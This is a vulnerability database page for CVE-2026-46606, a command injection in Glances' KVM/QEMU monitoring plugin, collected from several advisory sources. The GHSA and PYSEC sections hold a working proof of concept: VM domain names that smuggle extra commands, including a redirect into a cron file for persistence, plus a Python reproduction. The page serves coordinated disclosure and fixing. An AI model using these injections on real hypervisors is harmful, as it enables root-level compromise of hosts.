Vulnerability-Lookup

BREW-GLANCES-CVE-2026-46606 (CVE-2026-46606)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:51 – Updated: 2026-09-10 19:18 – Source website

Summary

Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Details

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.

Severity

7.8 (High)


                    
                      CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

URL

Type

	https://github.com/nicolargo/glances/releases/tag…	WEB
	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/nicolargo/glances/security/adv…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-46606	ADVISORY

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "4.5.5"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "glances",
        "purl": "pkg:brew/glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/nicolargo/glances",
        "name": "https://github.com/nicolargo/glances",
        "strategy": "git",
        "subject_version": "4.5.6"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/glances@4.5.6",
        "name": "glances",
        "strategy": "registry",
        "subject_version": "4.5.6"
      },
      {
        "ecosystem": "Debian",
        "key": "Debian/glances",
        "name": "glances",
        "strategy": "distro"
      },
      {
        "ecosystem": "GIT",
        "key": "upstream:https://github.com/nicolargo/glances",
        "name": "https://github.com/nicolargo/glances",
        "strategy": "distro",
        "subject_version": "4.5.6"
      },
      {
        "ecosystem": "PyPI",
        "key": "upstream:pkg:pypi/glances@4.5.6",
        "name": "glances",
        "strategy": "distro",
        "subject_version": "4.5.6"
      },
      {
        "ecosystem": "Ubuntu",
        "key": "Ubuntu/glances",
        "name": "glances",
        "strategy": "distro"
      }
    ]
  },
  "details": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.",
  "id": "BREW-glances-CVE-2026-46606",
  "modified": "2026-09-10T19:18:35Z",
  "published": "2026-08-13T16:51:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46606.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46606"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py",
  "upstream": [
    "CVE-2026-46606",
    "GHSA-v5r2-qh84-fjx5",
    "PYSEC-2026-2497"
  ]
}

CVE-2026-46606 (GCVE-0-2026-46606)

Vulnerability from cvelistv5 – Published: 2026-06-25 18:02 – Updated: 2026-06-25 18:29

Title

Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Summary

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-25 18:29 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/nicolargo/glances/security/adv…	x_refsource_CONFIRM
https://github.com/nicolargo/glances/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nicolargo	glances	Affected: < 4.5.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46606",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T18:29:22.087082Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-25T18:29:51.267Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "glances",
          "vendor": "nicolargo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-25T18:02:14.168Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
        },
        {
          "name": "https://github.com/nicolargo/glances/releases/tag/v4.5.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
        }
      ],
      "source": {
        "advisory": "GHSA-v5r2-qh84-fjx5",
        "discovery": "UNKNOWN"
      },
      "title": "Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-46606",
    "datePublished": "2026-06-25T18:02:14.168Z",
    "dateReserved": "2026-05-15T19:34:14.011Z",
    "dateUpdated": "2026-06-25T18:29:51.267Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-V5R2-QH84-FJX5

Vulnerability from github – Published: 2026-06-22 21:14 – Updated: 2026-07-21 14:43

Summary

Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Details

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.

Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204

The vulnerable calls are on lines 185 and 204:

# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):        # '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
    # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

Operator	Effect	Confirmed
`&&`	Second command executes after the virsh call	Yes
`\\|`	Output of virsh piped to injected command	Yes
`>`	virsh output redirected to arbitrary file	Yes

PoC

Special configuration required

Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>

virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

glances                # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes: 1. virsh domstats --nowait productionDB 2. touch /tmp/glances_pwned

Step 3 — Verify execution

ls -la /tmp/glances_pwned   # file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact: - Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system. - Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.

Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:14:06Z",
    "nvd_published_at": "2026-06-25T19:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}\u0027)\n\n# line 204  (update_title)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}\u0027)\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59\u201378 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = \u0027\u0027\n    for c in cmd.split(\u0027\u0026\u0026\u0027):        # \u0027\u0026\u0026\u0027 \u2192 two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split(\u0027|\u0027):   # \u0027|\u0027 \u2192 stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # \u0027\u003e\u0027 is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 \u2014 Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 \u2014 Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 \u2014 Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = \u0027productionDB \u0026\u0026 id\u0027\nresult = secure_popen(f\u0027/bin/echo domstats --nowait {domain}\u0027)\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights \u2014 a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full \u2014 arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full \u2014 file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full \u2014 the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`\u0027s operator splitting logic:\n\n```python\n# virsh.py \u2014 replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, \u0027domstats\u0027, \u0027--nowait\u0027, domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
  "id": "GHSA-v5r2-qh84-fjx5",
  "modified": "2026-07-21T14:43:40Z",
  "published": "2026-06-22T21:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46606"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2497.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/glances"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
}

PYSEC-2026-2497

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:04

Details

Summary

Details

Affected file: glances/plugins/vms/engines/virsh.py

The vulnerable calls are on lines 185 and 204:

# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):        # '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
    # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

Operator	Effect	Confirmed
`&&`	Second command executes after the virsh call	Yes
`\\|`	Output of virsh piped to injected command	Yes
`>`	virsh output redirected to arbitrary file	Yes

PoC

Special configuration required

Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>

virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

glances                # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes: 1. virsh domstats --nowait productionDB 2. touch /tmp/glances_pwned

Step 3 — Verify execution

ls -la /tmp/glances_pwned   # file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

Impact

Vulnerability type: Command Injection (CWE-78)

Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.

Responsible Disclosure

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
glances	pkg:pypi/glances

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances",
        "purl": "pkg:pypi/glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.3.4",
        "1.3.5",
        "1.3.6",
        "1.3.7",
        "1.4",
        "1.4.1",
        "1.4.1.1",
        "1.4.2",
        "1.4.2.1",
        "1.5",
        "1.5.1",
        "1.5.2",
        "1.6",
        "1.6.1",
        "1.7",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "2.0",
        "2.0.1",
        "2.1",
        "2.1.1",
        "2.1.2",
        "2.10",
        "2.11",
        "2.11.1",
        "2.2",
        "2.2.1",
        "2.3",
        "2.4",
        "2.4.1",
        "2.4.2",
        "2.5",
        "2.5.1",
        "2.6",
        "2.6.1",
        "2.6.2",
        "2.7",
        "2.7.1",
        "2.8",
        "2.8.1",
        "2.8.2",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.9.0",
        "2.9.1",
        "3.0",
        "3.0.1",
        "3.0.2",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.4.1",
        "3.1.5",
        "3.1.6",
        "3.1.6.1",
        "3.1.6.2",
        "3.1.7",
        "3.2.0",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.3.1",
        "3.2.4",
        "3.2.4.1",
        "3.2.4.2",
        "3.2.5",
        "3.2.6.1",
        "3.2.6.2",
        "3.2.6.3",
        "3.2.6.4",
        "3.2.7",
        "3.3.0",
        "3.3.0.1",
        "3.3.0.2",
        "3.3.0.3",
        "3.3.0.4",
        "3.3.1",
        "3.3.1.1",
        "3.4.0",
        "3.4.0.1",
        "3.4.0.2",
        "3.4.0.3",
        "3.4.0.4",
        "3.4.0.5",
        "4.0.1",
        "4.0.2",
        "4.0.3",
        "4.0.4",
        "4.0.5",
        "4.0.6",
        "4.0.7",
        "4.0.8",
        "4.1.0",
        "4.1.1",
        "4.1.2",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "4.3.0.1",
        "4.3.0.3",
        "4.3.0.4",
        "4.3.0.5",
        "4.3.0.6",
        "4.3.0.7",
        "4.3.0.8",
        "4.3.1",
        "4.3.2",
        "4.3.3",
        "4.4.0",
        "4.4.1",
        "4.5.0",
        "4.5.0.1",
        "4.5.0.2",
        "4.5.0.3",
        "4.5.0.4",
        "4.5.0.5",
        "4.5.1",
        "4.5.2",
        "4.5.3",
        "4.5.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46606",
    "GHSA-v5r2-qh84-fjx5"
  ],
